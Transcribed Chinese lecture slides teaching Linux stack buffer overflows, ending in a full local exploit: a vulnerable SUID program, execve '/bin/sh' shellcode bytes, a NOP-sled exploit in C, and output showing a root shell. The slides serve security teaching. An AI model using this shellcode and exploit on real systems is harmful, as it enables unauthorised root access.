linux 下的缓冲区溢出 裴士辉 QQ:

Similar documents
1

Microsoft Word - 把时间当作朋友(2011第3版)3.0.b.06.doc

C/C++ - 文件IO

プログラムの設計と実現II

Linux kernel exploit研究和探索

新版 明解C言語入門編

untitled

C 1

ROP_bamboofox.key

C++ 程式設計

Microsoft Word - 把时间当作朋友(2011第3版)3.0.b.07.doc

C 1 # include <stdio.h> 2 int main ( void ) { 4 int cases, i; 5 long long a, b; 6 scanf ("%d", & cases ); 7 for (i = 0;i < cases ;i ++) 8 { 9

新・明解C言語入門編『索引』

untitled

CC213

C/C++ - 字符串与字符串函数

新・解きながら学ぶC言語

C


C C

第11章 可调内核参数

Static Enforcement of Security with Types

学习MSP430单片机推荐参考书

ebook15-C

C/C++语言 - C/C++数据

新版 明解C++入門編

C/C++ - 函数

2013 C 1 # include <stdio.h> 2 int main ( void ) 3 { 4 int cases, a, b, i; 5 scanf ("%d", & cases ); 6 for (i = 0;i < cases ;i ++) 7 { 8 scanf ("%d %d

提纲 1 2 OS Examples for 3

格式化字符串 Weifeng Sun School of Software, DLUT

ebook71-8

1 LINUX IDE Emacs gcc gdb Emacs + gcc + gdb IDE Emacs IDE C Emacs Emacs IDE ICE Integrated Computing Environment Emacs Unix Linux Emacs Emacs Emacs Un

C

NOWOER.OM m/n m/=n m/n m%=n m%n m%=n m%n m/=n 4. enum string x1, x2, x3=10, x4, x5, x; 函数外部问 x 等于什么? 随机值 5. unsigned char *p1; unsigned long *p

1 Project New Project 1 2 Windows 1 3 N C test Windows uv2 KEIL uvision2 1 2 New Project Ateml AT89C AT89C51 3 KEIL Demo C C File

Microsoft PowerPoint - 4. 数组和字符串Arrays and Strings.ppt [兼容模式]

untitled

C/C++程序设计 - 字符串与格式化输入/输出

Windows RTEMS 1 Danilliu MMI TCP/IP QEMU i386 QEMU ARM POWERPC i386 IPC PC104 uc/os-ii uc/os MMI TCP/IP i386 PORT Linux ecos Linux ecos ecos eco

C6_ppt.PDF

_汪_文前新ok[3.1].doc

untitled

FY.DOC

Xcon2003_watercloud

untitled

第3章.doc

untitled

int *p int a 0x00C7 0x00C7 0x00C int I[2], *pi = &I[0]; pi++; char C[2], *pc = &C[0]; pc++; float F[2], *pf = &F[0]; pf++;

static struct file_operations gpio_ctl_fops={ ioctl: gpio_ctl_ioctl, open : gpio_open, release: gpio_release, ; #defineled1_on() (GPBDAT &= ~0x1) #def

2013 C 1 #include <stdio.h> 2 int main(void) 3 { 4 int cases, i; 5 long long a, b; 6 scanf("%d", &cases); 7 for (i = 0; i < cases; i++) 8 { 9 scanf("%

威 福 髮 藝 店 桃 園 市 蘆 竹 區 中 山 里 福 祿 一 街 48 號 地 下 一 樓 50,000 獨 資 李 依 純 105/04/06 府 經 登 字 第 號 宏 品 餐 飲 桃 園 市 桃 園 區 信 光 里 民

chap07.key

93年各縣國中教師甄試最新考情.doc

epub 33-8

BOOL EnumWindows(WNDENUMPROC lparam); lpenumfunc, LPARAM (Native Interface) PowerBuilder PowerBuilder PBNI 2

考 試 日 期 :2016/04/24 教 室 名 稱 :602 電 腦 教 室 考 試 時 間 :09: 二 技 企 管 一 胡 宗 兒 中 文 輸 入 四 技 企 四 甲 林 姿 瑄 中 文 輸 入 二 技 企 管 一

2013年度西藏自治区教育厅

實用文格式大全.doc

个 小 小 的 乡 下 人 木 匠 的 儿 子, 竟 然 有 这 么 大 的 力 量 其 实 就 是 这 点, 祂 活 出 来 的 那 种 爱, 是 世 界 上 没 有 的 祂 活 出 来 的 爱 是 世 界 上 的 人 都 需 要 的, 但 却 是 人 人 在 这 个 世 界 上 都 得 不 到

薛 秦 高 继 宁 宋 明 锁 文 洪 梁 瑞 敏 贾 跃 进 内 蒙 古 自 治 区 (3 人 ) 琪 格 其 图 米 子 良 赵 震 生 辽 宁 省 (8 人 ) 田 素 琴 白 凤 鸣 肖 瑞 崇 黄 恩 申 白 长 川 杨 世 勇 李 敬 林 王 秀 云 吉 林 省 (5 人 ) 赵 继 福

一 学 校 基 本 情 况 目 录 二 部 门 预 算 报 表 ( 一 ) 收 支 总 表 ( 二 ) 收 入 总 表 ( 三 ) 支 出 总 表 ( 四 ) 财 政 拨 款 支 出 表 三 部 门 预 算 报 表 说 明 ( 一 ) 收 支 总 表 说 明 ( 二 ) 收 入 总 表 说 明 (

目 录 一 学 校 基 本 情 况 二 2016 年 预 算 报 表 ( 一 ) 中 南 大 学 收 支 预 算 总 表 ( 二 ) 中 南 大 学 收 入 预 算 表 ( 三 ) 中 南 大 学 支 出 预 算 表 ( 四 ) 中 南 大 学 财 政 拨 款 支 出 预 算 表 三 2016 年

信息参考

Microsoft Word - 15dbtb007

安徽电子工程学校

第7章-并行计算.ppt

[改訂新版]C言語による標準アルゴリズム事典

"\x33\x31\x43\x17\x83\xeb\xfc\x03\x6b\x0c\xa6\x2b\x97\xda\xaf" "\xd4\x67\x1b\xd0\x5d\x82\x2a\xc2\x3a\xc7\x1f\xd2\x49\x85\x93" "\x99\x1c\x3d\x27\xef\x8

幻灯片 1

untitled

ebook35-21

华恒家庭网关方案

C/C++ - 字符输入输出和字符确认

Untitled








1

Microsoft Word - 实用案例.doc

c_cpp

6 C51 ANSI C Turbo C C51 Turbo C C51 C51 C51 C51 C51 C51 C51 C51 C C C51 C51 ANSI C MCS-51 C51 ANSI C C C51 bit Byte bit sbit

Microsoft PowerPoint - os_4.ppt

CC213

目录

Microsoft Word - 文档 1

C/C++ 语言 - 循环

来 正 式 组 织 关 系 转 出 后 未 收 到 组 织 关 系 介 绍 信 回 执 的 党 员 排 查 的 主 要 任 务 是, 核 查 党 员 身 份 信 息, 摸 清 流 动 党 员 底 数, 理 顺 党 员 组 织 关 系, 健 全 完 善 党 员 档 案, 对 与 党 组 织 失 去 联

SP_ SP_03 JAVA...6 SP_10 SQL...8 SP_ SP_ SP_ SP_ SP_ SP_ SP_ SP_04.NET...33 SP_02 C...37 SP_05

1 CPU interrupt INT trap CPU exception

概述

本文由筱驀釹贡献

Microsoft Word - 1-3陳詠琳-近代..

Microsoft Word - 梁斌言:2016年度全省职业教育工作会议总结讲话提纲.doc

中 共 广 元 市 食 品 药 品 监 督 管 理 局 党 组 2016 年 机 关 党 的 工 作 要 点 2016 年 是 实 施 十 三 五 规 划 的 开 局 之 年, 是 推 进 全 面 从 严 治 党 的 深 化 之 年, 是 决 胜 脱 贫 攻 坚 的 关 键 之 年 机 关 党 的

“秦火火”玩“火”自焚

简 讯 : 庐 江 县 气 象 监 测 预 警 中 心 主 体 结 构 顺 利 封 顶 肥 西 县 政 府 出 台 乡 镇 气 象 工 作 目 标 管 理 考 核 细 则 庐 江 县 组 织 召 开 乡 镇 气 象 灾 害 防 御 工 作 会 议 长 丰 县 局 积 极 组 织 开 展 无 偿 献

Transcription:

linux 下的缓冲区溢出 裴士辉 QQ:1628159305

Buffer Overflows 缓冲区溢出攻击 基本的思想通过修改某些内存区域, 把一段恶意代码存储到一个 buffer 中, 并且使这个 buffer 被溢出, 以便当前进程被非法利用 ( 执行这段恶意的代码 ) 2

危害性 在 UNIX 平台上, 通过发掘 Buffer Overflow, 可以获得一个交互式的 shell 在 Windows 平台上, 可以上载并执行任何的代码 溢出漏洞发掘起来需要较高的技巧和知识背景, 但是, 一旦有人编写出溢出代码, 则用起来非常简单 与其他的攻击类型相比, 缓冲区溢出攻击不需要太多的先决条件 杀伤力很强 技术性强 在 Buffer Overflows 攻击面前, 防火墙往往显得很无奈 3

Buffer Overflow 的历史 1988 年的 Morris 蠕虫病毒, 放倒了 6000 多台机器 : 利用 UNIX 服务 finger 中的缓冲区溢出漏洞来获得访问权限, 得到一个 shell 1996 年前后, 开始出现大量的 Buffer Overflow 攻击, 因此引起人们的广泛关注 源码开放的操作系统首当其冲 随后,Windows 系统下的 Buffer Overflows 也相继被发掘出来 4

为什么会缓冲区溢出? 在 C 语言中, 指针和数组越界不保护是 Buffer overflow 的根源, 而且, 在 C 语言标准库中就有许多能提供溢出的函数, 如 strcat(), strcpy(), sprintf(), vsprintf(), bcopy(), gets() 和 scanf() 5

#include <stdio.h> #include <string.h> #define BUFLEN 200 int main(){ char * rtn; char dmy[buflen];char buf[buflen]; memset(buf,'\0',buflen);memset(dmy,'\0',buflen); printf("before \n"); printf("buf(len:%d)=%s \n",strlen(buf),buf); printf("dmy(len:%d)=%s \n",strlen(dmy),dmy); if((rtn=gets(buf))==null){return(-1);} printf("after \n"); printf("buf(len:%d)=%s \n",strlen(buf),buf); printf("dmy(len:%d)=%s \n",strlen(dmy),dmy); return(0); } 6

before buf(len:0)= dmy(len:0)= aaaaaaaaaabbbbbbbbbbccccccccccddddddddddeeeeeeeeee aaaaaaaaaabbbbbbbbbbccccccccccddddddddddeeeeeeeeee aaaaaaaaaabbbbbbbbbbccccccccccddddddddddeeeeeeeeee aaaaaaaaaabbbbbbbbbbccccccccccddddddddddeeeeeeeeee overflow test data after buf(len:218)= aaaaaaaaaabbbbbbbbbbccccccccccddddddddddeeeeeeeeee aaaaaaaaaabbbbbbbbbbccccccccccddddddddddeeeeeeeeee aaaaaaaaaabbbbbbbbbbccccccccccddddddddddeeeeeeeeee aaaaaaaaaabbbbbbbbbbccccccccccddddddddddeeeeeeeeee overflow test data dmy(len:18)=overflow test data 7

缓冲区攻击的原理 1. 函数调用与堆栈的关系 2. 利用堆栈溢出运行 shell 8

函数调用与堆栈的关系 在一次函数调用中, 堆栈中被依次压入参数和返回地址 如果函数有局部变量, 则局部变量在堆栈中分配 函数结束时, 恢复堆栈到函数调用的地址, 弹出返回地址到 EIP 以继续执行程序 9

函数调用与堆栈的关系 例如 : 调用如下函数时堆栈的使用情况 int main(int argc, char ** argv){ } char buf[80]; strcpy(buf,argv[1]); 10

1 调用之前 ESP 11

2 参数 EIP 压栈 ESP EIP argc argv 12

3 寄存器压栈, 分配局部变量 ESP EIP argc argv 13

4 释放局部变量 寄存器出栈 ESP EIP argc argv 14

5 返回 ESP EIP argc argv 15

利用堆栈溢出运行 shell 前提是发现具有 SUID 程序具有缓冲区溢出漏洞 Linux 上执行一个程序 ( 具有 x 权限 ),程序的权限以执行者的 ID 为准, 如果执行者是 root,那么程序的权限是 root ;如果执行者是 user1,那么程序以 user1 的权限 但是,一个具有 SUID 属性的程序的权限以所有者的权限为准, 例如 : 如果一各程序具有 SUID 属性, 它的 user 和 group 都是 root,而且 others 也具有 x 权限,那么,当 user1 执行这个程序时,程序具有的权限不是 user1 而是 root! 获得 shell code 执行目标程序时, 将 shell code 拷贝到目标程序的堆栈中 16

进入 shell 的程序代码 shell code 目标程序的 SUID 属性已被设置, 不管哪个用户运行这个程序, 进入程序后就具有 root 权限 当发生堆栈溢出, 执行 shell code, 并进入 shell 时, 就获得 root shell, 在该 shell 中可以执行所有的 root 命令 17

linux 系统下的缓冲区溢出攻击实验 1. 编写具有缓冲区溢出漏洞的程序 2. 获得 shell code 3. 编写测试缓冲区溢出的程序 18

编写具有缓冲区溢出漏洞的程序 vulnerable1.c #include<string.h> #include<ctype.h> int main(int argc,int **argv){ char buffer[1024]; int i; if(argc>1) { for(i=0;i<strlen(argv[1]);i++) argv[1][i]=toupper(argv[1][i]); } } strcpy(buffer,argv[1]); 19

1. 编写 C 程序 2. gcc 编译 3. gdb 反汇编 4. 对机械码进行整理 获得 shell code 20

编写 C 程序 shellcode.c #include <stdio.h> void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); exit(0); } 21

char shellcode[]= /*00*/ "\xeb\x1f" /* jmp 0x1f */ /*02*/ "\x5e" /* popl %esi */ /*03*/ "\x89\x76\x08" /* movl %esi,0x8(%esi) */ /*06*/ "\x31\xc0" /* xorl %eax,%eax */ /*08*/ "\x88\x46\x07" /* movb %eax,0x7(%esi) */ /*0b*/ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ /*0e*/ "\xb0\x0b" /* movb $0xb,%al */ /*10*/ "\x89\xf3" /* movl %esi,%ebx */ /*12*/ "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */ /*15*/ "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */ /*18*/ "\xcd\x80" /* int $0x80 */ /*1a*/ "\x31\xdb" /* xorl %ebx,%ebx */ /*1c*/ "\x89\xd8" /* movl %ebx,%eax */ /*1e*/ "\x40" /* inc %eax */ /*1f*/ "\xcd\x80" /* int $0x80 */ /*21*/ "\xe8\xdc\xff\xff\xff" /* call -0x24 */ /*26*/ "/bin/sh"; /*.string \"/bin/sh\" */ 22

利用堆栈溢出获得 shell 要利用目标程序 vulnerable1.c 的堆栈溢出漏洞获得 shell, 首先要利用一个数组来存放 shellcode, 将 shellcode 作为参数传给目标程序, 目标程序在调用 strcpy 时把 shellcode 拷贝到堆栈中 同时, 在传递 shellcode 时, 还必须传递指向 shellcode 的地址, 用指向 shellcode 的地址来覆盖堆栈中函数的返回地址 23

利用堆栈溢出获得 shell 传给目标程序的参数可以表示为 : SSSSSSSSSSSOOOOOOOAOOOOOOO 其中 : S: shellcode A: shellcode 在内存中的首地址 O: 空 这里的关键在于 A 将覆盖堆栈中 EIP 的内容 24

利用堆栈溢出获得 shell 为了提供命中率, 对字符串进行如下改进 : NNNNNNNNNNNNNNSSSSSSSSSSSAAAAAAAAAAAAAAAAA 其中 : S: shellcode A: shellcode 在内存中的首地址 N: NOP 指令, 机器码为 0x90 A 的取值范围只要在 N 段即可, 大大地提高了猜中的命中率 25

测试缓冲区溢出的程序 exploit1.c #include<stdio.h> #include<stdlib.h> #define ALIGN 0 #define OFFSET 0 #define RET_POSITION 1024 #define RANGE 20 #define NOP 0x90 char shellcode[]=.. 26

unsigned long get_sp(void){ asm ("movl %esp,%eax"); } main(int argc,char **argv) { char buff[ret_position+range+align+1],*ptr; long addr; unsigned long sp; int offset=offset; bsize=ret_position+range+align+1; int i; 27

if(argc>1) offset=atoi(argv[1]); sp=get_sp(); addr=sp-offset; for(i=0;i<bsize;i+=4) { buff[i+align]=(addr&0x000000ff); buff[i+align+1]=(addr&0x0000ff00)>>8; buff[i+align+2]=(addr&0x00ff0000)>>16; buff[i+align+3]=(addr&0xff000000)>>24; } 28

for(i=0;i<bsize-range*2-strlen(shellcode)-1;i++) buff[i]=nop; ptr=buff+bsize-range*2-strlen(shellcode)-1; for(i=0;i<strlen(shellcode);i++) *(ptr++)=shellcode[i]; buff[bsize-1]='\0'; printf("jump to 0x%08x\n",addr); } execl("./vulnerable1","vulnerable1",buff,0); 29

[ ohhara@ohhara ~ ] {1} $ ls -l vulnerable1 -rwsr-xr-x 1 root root 4342 Oct 18 13:20 vulnerable1* [ ohhara@ohhara ~ ] {2} $ ls -l exploit1 -rwxr-xr-x 1 ohhara cse 6932 Oct 18 13:20 exploit1* [ ohhara@ohhara ~ ] {3} $./exploit1 Jump to 0xbfffec64 Segmentation fault [ ohhara@ohhara ~ ] {4} $./exploit1 500 Jump to 0xbfffea70 bash# whoami root bash# 30